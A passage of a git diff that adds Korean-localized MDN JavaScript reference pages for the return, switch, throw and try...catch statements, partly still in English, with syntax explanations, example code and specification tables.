index 0000000000..e865cb9a65
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/return/index.html
@@ -0,0 +1,159 @@
+---
+title: return
+slug: Web/JavaScript/Reference/Statements/return
+tags:
+ - JavaScript
+ - Reference
+ - Statement
+translation_of: Web/JavaScript/Reference/Statements/return
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>return</code> 명령문</strong>은 함수 실행을 종료하고, 주어진 값을 함수 호출 지점으로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-return.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">return [[expression]]; </pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>반환할 값으로 사용할 표현식. 생략할 경우 {{jsxref("undefined")}}를 대신 반환합니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>함수 본문에서 <code>return</code> 명령문에 도달하면 함수의 실행은 그 지점에서 중단됩니다. 값을 제공한 경우 함수를 호출한 곳에 그 값을 반환합니다. 예를 들어, 다음 함수는 숫자 매개변수 <code>x</code>의 제곱을 반환합니다.</p>
+
+<pre class="brush: js">function square(x) {
+ return x * x;
+}
+var demo = square(3);
+// demo는 9</pre>
+
+<p>값을 명시하지 않으면 대신 <code>undefined</code>를 반환합니다.</p>
+
+<p>다음 <code>return</code> 명령문 모두 함수 실행을 끊습니다.</p>
+
+<pre class="brush: js">return;
+return true;
+return false;
+return x;
+return x + y / 3;
+</pre>
+
+<h3 id="자동_세미콜론_삽입">자동 세미콜론 삽입</h3>
+
+<p><code>return</code> 명령문은 <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">자동 세미콜론 삽입(ASI)</a>의 영향을 받습니다. <code>return</code> 키워드와 표현식 사이에는 줄바꿈 문자가 올 수 없습니다.</p>
+
+<pre class="brush: js">return
+a + b;
+</pre>
+
+<p>위 코드는 ASI로 인해 아래처럼 처리됩니다.</p>
+
+<pre class="brush: js">return;
+a + b;
+</pre>
+
+<p>콘솔이 "unreachable code after return statement" 경고를 출력할 것입니다.</p>
+
+<div class="note">Gecko 40 {{geckoRelease(40)}}부터, <code>return</code> 이후에 위치하여 도달할 수 없는 코드를 발견하면 콘솔에 경고를 출력합니다.</div>
+
+<p>문제를 해결하려면 괄호를 사용해 ASI를 방지해야 합니다.</p>
+
+<pre class="brush: js">return (
+ a + b
+);
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="함수_중단">함수 중단</h3>
+
+<p>함수는 <code>return</code>을 호출하는 지점에서 즉시 실행을 멈춥니다.</p>
+
+<pre class="brush: js">function counter() {
+ for (var count = 1; ; count++) { // 무한 반복
+ console.log(count + "A"); // 5까지
+ if (count === 5) {
+ return;
+ }
+ console.log(count + "B"); // 4까지
+ }
+ console.log(count + "C"); // 절대 나타나지 않음
+}
+
+counter();
+
+// 출력:
+// 1A
+// 1B
+// 2A
+// 2B
+// 3A
+// 3B
+// 4A
+// 4B
+// 5A
+</pre>
+
+<h3 id="함수_반환하기">함수 반환하기</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Guide/Closures">클로저</a>에 대해서도 더 알아보세요.</p>
+
+<pre class="brush: js">function magic(x) {
+ return function calc(x) { return x * 42 };
+}
+
+var answer = magic();
+answer(1337); // 56154
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.9', 'Return statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-return-statement', 'Return statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-return-statement', 'Return statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.return")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions">함수</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Closures">클로저</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/switch/index.html b/files/ko/web/javascript/reference/statements/switch/index.html
new file mode 100644
index 0000000000..b4eb68e5a7
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/switch/index.html
@@ -0,0 +1,306 @@
+---
+title: switch
+slug: Web/JavaScript/Reference/Statements/switch
+translation_of: Web/JavaScript/Reference/Statements/switch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><span class="seoSummary">The <strong><code>switch</code> statement</strong> evaluates an <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">expression</a>, matching the expression's value to a <code>case</code> clause, and executes <a href="/en-US/docs/Web/JavaScript/Reference/Statements">statements</a> associated with that case, as well as statements in cases that follow the matching case.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-switch.html")}}</div>
+
+
+
+<h2 id="문법">문법</h2>
+
+<pre class="brush: js">switch (expression) {
+ case value1:
+ //Statements executed when the
+ //result of expression matches value1
+ [break;]
+ case value2:
+ //Statements executed when the
+ //result of expression matches value2
+ [break;]
+ ...
+ case valueN:
+ //Statements executed when the
+ //result of expression matches valueN
+ [break;]
+ [default:
+ //Statements executed when none of
+ //the values match the value of the expression
+ [break;]]
+}</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd><br>
+ 각각의 case 절에 맞추어볼 결과에 대한 <code>expression</code></dd>
+ <dt><code>case valueN</code> {{optional_inline}}</dt>
+ <dd>어떤 <code>case</code> 절은  <code>expression</code>와 맞추어보는데 사용된다. 만약 <code>expression</code> 이 특정 <code>valueN</code>과 일치 된다면, <code>switch</code> statement 문이 끝나거나 <code>break</code>가 오떄까지 case 절 내부가 실행된다.</dd>
+ <dt><code>default</code> {{optional_inline}}</dt>
+ <dd><code>default</code> 절; 만약 있다면,  어떤 <code>case</code>의 절도 <code>expression</code> 값과 일치되지 않는다면, default 절이 실행된다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>A switch statement first evaluates its expression. It then looks for the first <code>case</code> clause whose expression evaluates to the same value as the result of the input expression (using the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">strict comparison</a>, <code>===</code>) and transfers control to that clause, executing the associated statements. (If multiple cases match the provided value, the first case that matches is selected, even if the cases are not equal to each other.)</p>
+
+<p>If no matching <code>case</code> clause is found, the program looks for the optional <code>default</code> clause, and if found, transfers control to that clause, executing the associated statements. If no <code>default</code> clause is found, the program continues execution at the statement following the end of <code>switch</code>. By convention, the <code>default</code> clause is the last clause, but it does not need to be so.</p>
+
+<p>The optional <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/break" title="JavaScript/Reference/Statements/break">break</a></code> statement associated with each case label ensures that the program breaks out of switch once the matched statement is executed and continues execution at the statement following switch. If <code>break</code> is omitted, the program continues execution at the next statement in the <code>switch</code> statement.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Using_switch">Using <code>switch</code></h3>
+
+<p>In the following example, if <code>expr</code> evaluates to "Bananas", the program matches the value with case "Bananas" and executes the associated statement. When <code>break</code> is encountered, the program breaks out of <code>switch</code> and executes the statement following <code>switch</code>. If <code>break</code> were omitted, the statement for case "Cherries" would also be executed.</p>
+
+<pre class="brush: js">switch (expr) {
+ case 'Oranges':
+ console.log('Oranges are $0.59 a pound.');
+ break;
+ case 'Apples':
+ console.log('Apples are $0.32 a pound.');
+ break;
+ case 'Bananas':
+ console.log('Bananas are $0.48 a pound.');
+ break;
+ case 'Cherries':
+ console.log('Cherries are $3.00 a pound.');
+ break;
+ case 'Mangoes':
+ case 'Papayas':
+ console.log('Mangoes and papayas are $2.79 a pound.');
+ break;
+ default:
+ console.log('Sorry, we are out of ' + expr + '.');
+}
+
+console.log("Is there anything else you'd like?");
+</pre>
+
+<h3 id="break를_쓰지않으면_어떻게_되는가">break를 쓰지않으면 어떻게 되는가?</h3>
+
+<p>If you forget a break then the script will run from the case where the criterion is met and will run the case after that regardless if criterion was met. See example here:</p>
+
+<pre class="brush: js">var foo = 0;
+switch (foo) {
+ case -1:
+ console.log('negative 1');
+ break;
+ case 0: // foo is 0 so criteria met here so this block will run
+ console.log(0);
+ // NOTE: the forgotten break would have been here
+ case 1: // no break statement in 'case 0:' so this case will run as well
+ console.log(1);
+ break; // it encounters this break so will not continue into 'case 2:'
+ case 2:
+ console.log(2);
+ break;
+ default:
+ console.log('default');
+}</pre>
+
+<h3 id="Can_I_put_a_default_between_cases">Can I put a default between cases?</h3>
+
+<p>Yes, you can! JavaScript will drop you back to the default if it can't find a match:</p>
+
+<pre class="brush: js">var foo = 5;
+switch (foo) {
+ case 2:
+  console.log(2);
+  break; // it encounters this break so will not continue into 'default:'
+  default:
+  console.log('default')
+  // fall-through
+ case 1:
+ console.log('1');
+}
+</pre>
+
+<p>It also works when you put default before all other cases.</p>
+
+<h3 id="Methods_for_multi-criteria_case">Methods for multi-criteria case</h3>
+
+<p>Source for this technique is here:</p>
+
+<p><a href="http://stackoverflow.com/questions/13207927/switch-statement-multiple-cases-in-javascript">Switch statement multiple cases in JavaScript (Stack Overflow)</a></p>
+
+<h4 id="Multi-case_-_single_operation">Multi-case - single operation</h4>
+
+<p>This method takes advantage of the fact that if there is no break below a case statement it will continue to execute the next case statement regardless if the case meets the criteria. See the section titled "What happens if I forgot a break?"</p>
+
+<p>This is an example of a single operation sequential switch statement, where four different values perform exactly the same.</p>
+
+<pre class="brush: js">var Animal = 'Giraffe';
+switch (Animal) {
+ case 'Cow':
+ case 'Giraffe':
+ case 'Dog':
+ case 'Pig':
+ console.log('This animal will go on Noah\'s Ark.');
+ break;
+ case 'Dinosaur':
+ default:
+ console.log('This animal will not.');
+}</pre>
+
+<h4 id="Multi-case_-_chained_operations">Multi-case - chained operations</h4>
+
+<p>This is an example of a multiple-operation sequential switch statement, where, depending on the provided integer, you can receive different output. This shows you that it will traverse in the order that you put the case statements, and it does not have to be numerically sequential. In JavaScript, you can even mix in definitions of strings into these case statements as well.</p>
+
+<pre class="brush: js">var foo = 1;
+var output = 'Output: ';
+switch (foo) {
+ case 0:
+ output += 'So ';
+ case 1:
+ output += 'What ';
+ output += 'Is ';
+ case 2:
+ output += 'Your ';
+ case 3:
+ output += 'Name';
+ case 4:
+ output += '?';
+ console.log(output);
+ break;
+ case 5:
+ output += '!';
+ console.log(output);
+ break;
+ default:
+ console.log('Please pick a number from 0 to 5!');
+}</pre>
+
+<p>이 예제의 결과:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Value</th>
+ <th scope="col">Log text</th>
+ </tr>
+ <tr>
+ <td>foo is NaN or not 1, 2, 3, 4, 5 or 0</td>
+ <td>Please pick a number from 0 to 5!</td>
+ </tr>
+ <tr>
+ <td>0</td>
+ <td>Output: So What Is Your Name?</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>Output: What Is Your Name?</td>
+ </tr>
+ <tr>
+ <td>2</td>
+ <td>Output: Your Name?</td>
+ </tr>
+ <tr>
+ <td>3</td>
+ <td>Output: Name?</td>
+ </tr>
+ <tr>
+ <td>4</td>
+ <td>Output: ?</td>
+ </tr>
+ <tr>
+ <td>5</td>
+ <td>Output: !</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Block-scope_variables_within_switch_statements">Block-scope variables within <code>switch</code> statements</h3>
+
+<p>With ECMAScript 2015 (ES6) support made available in most modern browsers, there will be cases where you would want to use <a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a> statements to declare block-scoped variables.</p>
+
+<p>Take a look at this example:</p>
+
+<pre class="brush: js">const action = 'say_hello';
+switch (action) {
+  case 'say_hello':
+    let message = 'hello';
+    console.log(message);
+    break;
+  case 'say_hi':
+    let message = 'hi';
+    console.log(message);
+    break;
+  default:
+    console.log('Empty action received.');
+    break;
+}</pre>
+
+<p>This example will output the error <code>Uncaught SyntaxError: Identifier 'message' has already been declared</code> which you were not probably expecting.</p>
+
+<p>This is because the first <code>let message = 'hello';</code> conflicts with second let statement <code>let message = 'hi';</code> even they're within their own separate case statements <code>case 'say_hello':</code> and <code>case 'say_hi':</code>; ultimately this is due to both <code>let</code> statements being interpreted as duplicate declarations of the same variable name within the same block scope.</p>
+
+<p>We can easily fix this by wrapping our case statements with brackets:</p>
+
+<pre class="brush: js">const action = 'say_hello';
+switch (action) {
+  case 'say_hello': <strong>{ // added brackets</strong>
+    let message = 'hello';
+    console.log(message);
+    break;
+  <strong>} // added brackets</strong>
+  case 'say_hi': <strong>{ // added brackets</strong>
+    let message = 'hi';
+    console.log(message);
+    break;
+  <strong>} // added brackets</strong>
+  default: <strong>{ // added brackets</strong>
+    console.log('Empty action received.');
+    break;
+ <strong>} // added brackets</strong>
+}</pre>
+
+<p>This code will now output <code>hello</code> in the console as it should, without any errors at all.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.11', 'switch statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.switch")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/throw/index.html b/files/ko/web/javascript/reference/statements/throw/index.html
new file mode 100644
index 0000000000..ff5ccb2333
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/throw/index.html
@@ -0,0 +1,198 @@
+---
+title: throw
+slug: Web/JavaScript/Reference/Statements/throw
+translation_of: Web/JavaScript/Reference/Statements/throw
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>throw</code> </strong>문은 사용자 정의 예외를 던질 수 있습니다. 현재 함수의 실행이 중지되고 (<code>throw</code> 이후의 명령문은 실행되지 않습니다.), 컨트롤은 콜 스택의 첫 번째 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>catch</code></a> 블록으로 전달됩니다. 호출자 함수 사이에 <code>catch</code> 블록이 없으면 프로그램이 종료됩니다. </p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-throw.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">throw <em>expression</em>; </pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>예외를 던지는 구문</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>예외를 발생하기 위해 <code>throw</code> 문을 사용하세요. <br>
+ 예외를 던지면 <code>expression</code>은 예외 값을 지정합니다.<br>
+ 다음 각각은 예외를 던집니다:</p>
+
+<pre class="brush: js">throw 'Error2'; // generates an exception with a string value
+throw 42; // generates an exception with the value 42
+throw true; // generates an exception with the value true</pre>
+
+<p>또한 <code>throw</code> 문은 <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">자동 세미콜론 삽입</a> (ASI)에 의해 영향을 받으며 <code>throw</code> 키워드와 표현식 사이에 줄 종결자는 허용되지 않으므로 주의해야합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="객체_throw_하기">객체 throw 하기</h3>
+
+<p>예외를 던질 때 객체를 지정할 수 있습니다. 그러면 <code>catch</code> 블록에서 객체의 속성을 참조 할 수 있습니다.<br>
+ 다음 예제에서는 <code>UserException</code> 유형의 객체를 만들고 <code>throw</code> 구문에서 이 객체를 사용합니다.</p>
+
+<pre class="brush: js">function UserException(message) {
+ this.message = message;
+ this.name = 'UserException';
+}
+function getMonthName(mo) {
+ mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec)
+ var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul',
+ 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
+ if (months[mo] !== undefined) {
+ return months[mo];
+ } else {
+ throw new UserException('InvalidMonthNo');
+ }
+}
+
+try {
+ // statements to try
+ var myMonth = 15; // 15 is out of bound to raise the exception
+ var monthName = getMonthName(myMonth);
+} catch (e) {
+ monthName = 'unknown';
+ console.log(e.message, e.name); // pass exception object to err handler
+}
+</pre>
+
+<h3 id="객체를_throw_하는_다른_예제">객체를 throw 하는 다른 예제</h3>
+
+<p>다음 예제는 입력 문자열에서 미국 우편 번호를 테스트합니다.<br>
+ 우편 번호가 잘못된 형식을 사용하는 경우 throw 문은 <code>ZipCodeFormatException</code> 유형의 개체를 만들어 예외를 던집니다.</p>
+
+<pre class="brush: js">/*
+ * Creates a ZipCode object.
+ *
+ * Accepted formats for a zip code are:
+ * 12345
+ * 12345-6789
+ * 123456789
+ * 12345 6789
+ *
+ * If the argument passed to the ZipCode constructor does not
+ * conform to one of these patterns, an exception is thrown.
+ */
+
+function ZipCode(zip) {
+ zip = new String(zip);
+ pattern = /[0-9]{5}([- ]?[0-9]{4})?/;
+ if (pattern.test(zip)) {
+ // zip code value will be the first match in the string
+ this.value = zip.match(pattern)[0];
+ this.valueOf = function() {
+ return this.value
+ };
+ this.toString = function() {
+ return String(this.value)
+ };
+ } else {
+ throw new ZipCodeFormatException(zip);
+ }
+}
+
+function ZipCodeFormatException(value) {
+ this.value = value;
+ this.message = 'does not conform to the expected format for a zip code';
+ this.toString = function() {
+ return this.value + this.message;
+ };
+}
+
+/*
+ * This could be in a script that validates address data
+ * for US addresses.
+ */
+
+const ZIPCODE_INVALID = -1;
+const ZIPCODE_UNKNOWN_ERROR = -2;
+
+function verifyZipCode(z) {
+ try {
+ z = new ZipCode(z);
+ } catch (e) {
+ if (e instanceof ZipCodeFormatException) {
+ return ZIPCODE_INVALID;
+ } else {
+ return ZIPCODE_UNKNOWN_ERROR;
+ }
+ }
+ return z;
+}
+
+a = verifyZipCode(95060); // returns 95060
+b = verifyZipCode(9560); // returns -1
+c = verifyZipCode('a'); // returns -1
+d = verifyZipCode('95060'); // returns 95060
+e = verifyZipCode('95060 1234'); // returns 95060 1234
+</pre>
+
+<h3 id="Rethrow_an_exception">Rethrow an exception</h3>
+
+<p><code>throw</code>를 사용하여 예외를 잡은 후에 예외를 다시 던질 수 있습니다.<br>
+ 다음 예제에서는 숫자 값으로 예외를 잡고 값이 50 이상이면 예외를 다시 throw합니다.<br>
+ 반환 된 예외는 둘러싸는 함수 또는 최상위 수준으로 전파되어 사용자가 볼 수 있도록합니다</p>
+
+<pre class="brush: js">try {
+ throw n; // throws an exception with a numeric value
+} catch (e) {
+ if (e &lt;= 50) {
+ // statements to handle exceptions 1-50
+ } else {
+ // cannot handle this exception, so rethrow
+ throw e;
+ }
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.4</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.13', 'throw statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-throw-statement', 'throw statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-throw-statement', 'throw statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.throw")}}</p>
+
+<h2 id="추가적으로_볼_것">추가적으로 볼 것</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/try...catch/index.html b/files/ko/web/javascript/reference/statements/try...catch/index.html
new file mode 100644
index 0000000000..c7cdf05b1f
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/try...catch/index.html
@@ -0,0 +1,273 @@
+---
+title: try...catch
+slug: Web/JavaScript/Reference/Statements/try...catch
+translation_of: Web/JavaScript/Reference/Statements/try...catch
+---
+<div>
+<p>{{jsSidebar("Statements")}}</p>
+
+<p><strong><code>try...catch</code></strong> 문은 실행할 코드블럭을 표시하고 예외(exception)가 발생(throw)할 경우의 응답을 지정합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/statement-trycatch.html")}}</p>
+</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="notranslate">try {
+ <em>try_statements</em>
+}
+[catch (<em>exception_var</em>) {
+ <em>catch_statements</em>
+}]
+[finally {
+ <em>finally_statements</em>
+}]</pre>
+
+<dl>
+ <dt><code>try_statements</code></dt>
+ <dd>실행될 선언들</dd>
+</dl>
+
+<dl>
+ <dt><code>catch_statements</code></dt>
+ <dd>try 블록에서 예외가 발생했을 때 실행될 선언들</dd>
+</dl>
+
+<dl>
+ <dt><code>exception_var</code></dt>
+ <dd>catch 블록과 관련된 예외 객체를 담기 위한 식별자</dd>
+</dl>
+
+<dl>
+ <dt><code>finally_statements</code></dt>
+ <dd>try 선언이 완료된 이후에 실행된 선언들. 이 선언들은 예외 발생 여부와 상관없이 실행된다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>try 선언의 구성은 하나 혹은 그 이상의 선언을 포함한 try 블록 및 catch 항목이나 finally 항목 중 최소한 하나 혹은 둘 다 포함하여 이루어진다. 즉, try 선언에는 세 가지 형식이 존재한다.</p>
+
+<ol>
+ <li><code>try...catch</code></li>
+ <li><code>try...finally</code></li>
+ <li><code>try...catch...finally</code></li>
+</ol>
+
+<p><code>catch</code> 블록은 <code>try</code> 블록 안에서 예외가 발생(throw)하는 경우 무엇을 할지 명시하는 코드를 포함합니다.  <code>try</code> 블록 (또는 <code>try</code> 블록 내에서 호출된 함수) 내의 명령문이 예외를 throw 하면 제어가 <code>catch</code> 블록으로 이동합니다. <code>try</code> 블록에 예외가 발생하지 않으면 <code>catch</code> 블록을 건너뜁니다.</p>
+
+<p><code>finally</code> 블록은 <code>try</code> 블록과 <code>catch</code> 블록(들)이 실행을 마친 후 항상 실행됩니다. 예외가 발생했는지에 관계없이 항상 실행됩니다.</p>
+
+<p>하나 이상의 <code>try</code> 문을 중첩 할 수 있습니다. 내부의 <code>try</code> 문에 <code>catch</code> 블록이 없으면, 둘러싼 <code>try</code> 문의 <code>catch</code> 블록이 입력됩니다.</p>
+
+<p>또한 <code>try</code> 문을 사용하여 예외처리를 합니다. 예외처리에 대해 더 알고 싶다면, <a href="/en-US/docs/Web/JavaScript/Guide" title="en/JavaScript/Guide">JavaScript Guide</a> 를 참고하세요.</p>
+
+<h3 id="무조건적_catch_문">무조건적 <code>catch</code> 문</h3>
+
+<p><code>try</code>-block 내에서 예외가 발생하면 <code>catch</code>-block이 실행됩니다. 예를 들어, 다음 코드에서 예외가 발생하면 제어가 <code>catch</code> 블록으로 전송됩니다.</p>
+
+
+
+<pre class="brush: js notranslate">try {
+ throw "myException"; // generates an exception
+}
+catch (e) {
+ // statements to handle any exceptions
+ logMyErrors(e); // pass exception object to error handler
+}
+</pre>
+
+<h3 id="조건적_catch_문">조건적 <code>catch</code> 문</h3>
+
+<p>다음과 같이 <code>try...catch</code>블록을 <code>if...else if...else</code> 구조와 결합하여 '조건부 <code>catch</code>-blocks'을 만들 수 있습니다.</p>
+
+
+
+<pre class="notranslate">try {
+ myroutine(); // may throw three types of exceptions
+} catch (e) {
+ if (e instanceof TypeError) {
+ // statements to handle TypeError exceptions
+ } else if (e instanceof RangeError) {
+ // statements to handle RangeError exceptions
+ } else if (e instanceof EvalError) {
+ // statements to handle EvalError exceptions
+ } else {
+ // statements to handle any unspecified exceptions
+ logMyErrors(e); // pass exception object to error handler
+ }
+}
+</pre>
+
+
+
+<p>이에 대한 일반적인 사용 사례는 예상 오류의 작은 하위 집합 만 포착 (및 침묵) 한 다음 다른 경우에 오류를 다시 발생시키는 것입니다.</p>
+
+<pre class="notranslate">try {
+ myRoutine();
+} catch (e) {
+ if (e instanceof RangeError) {
+ // statements to handle this very common expected error
+ } else {
+ throw e; // re-throw the error unchanged
+ }
+}</pre>
+
+<h3 id="The_exception_identifier">The exception identifier</h3>
+
+<p><code>try</code>-block에서 예외가 발생하면 <code>exception_var</code> (즉, <code>catch (e)</code>내부의 <code>e</code>)가 예외 값을 보유합니다. 이 식별자를 사용하여 발생한 예외에 대한 정보를 얻을 수 있습니다. 이 식별자는 <code>catch</code>-block의 {{Glossary("Scope", "scope")}}에서만 사용할 수 있습니다.</p>
+
+
+
+<pre class="notranslate">function isValidJSON(text) {
+ try {
+ JSON.parse(text);
+ return true;
+ } catch {
+ return false;
+ }
+}</pre>
+
+<h3 id="The_finally-block">The finally-block</h3>
+
+<p>The <code>finally</code>-block contains statements to execute after the <code>try</code>-block and <code>catch</code>-block(s) execute, but before the statements following the <code>try...catch...finally</code>-block. Note that the <code>finally</code>-block executes regardless of whether an exception is thrown. Also, if an exception is thrown, the statements in the <code>finally</code>-block execute even if no <code>catch</code>-block handles the exception.</p>
+
+
+
+<p>The following example shows one use case for the <code>finally</code>-block. The code opens a file and then executes statements that use the file; the <code>finally</code>-block makes sure the file always closes after it is used even if an exception was thrown.</p>
+
+<pre class="notranslate">openMyFile();
+try {
+ // tie up a resource
+ writeMyFile(theData);
+}
+finally {
+ closeMyFile(); // always close the resource
+}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Nested_try-blocks">Nested try-blocks</h3>
+
+<p>First, let's see what happens with this:</p>
+
+<pre class="notranslate">try {
+ try {
+ throw new Error('oops');
+ }
+ finally {
+ console.log('finally');
+ }
+}
+catch (ex) {
+ console.error('outer', ex.message);
+}
+
+// Output:
+// "finally"
+// "outer" "oops"
+</pre>
+
+<p>Now, if we already caught the exception in the inner <code>try</code>-block by adding a <code>catch</code>-block</p>
+
+<pre class="notranslate">try {
+ try {
+ throw new Error('oops');
+ }
+ catch (ex) {
+ console.error('inner', ex.message);
+ }
+ finally {
+ console.log('finally');
+ }
+}
+catch (ex) {
+ console.error('outer', ex.message);
+}
+
+// Output:
+// "inner" "oops"
+// "finally"
+</pre>
+
+<p>And now, let's rethrow the error.</p>
+
+<pre class="notranslate">try {
+ try {
+ throw new Error('oops');
+ }
+ catch (ex) {
+ console.error('inner', ex.message);
+ throw ex;
+ }
+ finally {
+ console.log('finally');
+ }
+}
+catch (ex) {
+ console.error('outer', ex.message);
+}
+
+// Output:
+// "inner" "oops"
+// "finally"
+// "outer" "oops"
+</pre>
+
+<p>Any given exception will be caught only once by the nearest enclosing <code>catch</code>-block unless it is rethrown. Of course, any new exceptions raised in the "inner" block (because the code in <code>catch</code>-block may do something that throws), will be caught by the "outer" block.</p>
+
+<h3 id="Returning_from_a_finally-block">Returning from a finally-block</h3>
+
+<p>If the <code>finally</code>-block returns a value, this value becomes the return value of the entire <code>try-catch-finally</code> statement, regardless of any <code>return</code> statements in the <code>try</code> and <code>catch</code>-blocks. This includes exceptions thrown inside of the <code>catch</code>-block:</p>
+
+<pre class="notranslate">(function() {
+ try {
+ try {
+ throw new Error('oops');
+ }
+ catch (ex) {
+ console.error('inner', ex.message);
+ throw ex;
+ }
+ finally {
+ console.log('finally');
+ return;
+ }
+ }
+ catch (ex) {
+ console.error('outer', ex.message);
+ }
+})();
+
+// Output:
+// "inner" "oops"
+// "finally"</pre>
+
+<p>The outer "oops" is not thrown because of the return in the <code>finally</code>-block. The same would apply to any value returned from the <code>catch</code>-block.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-try-statement', 'try statement')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.statements.try_catch")}}</p>
+
+<h2 id="See_also">See also</h2>
+
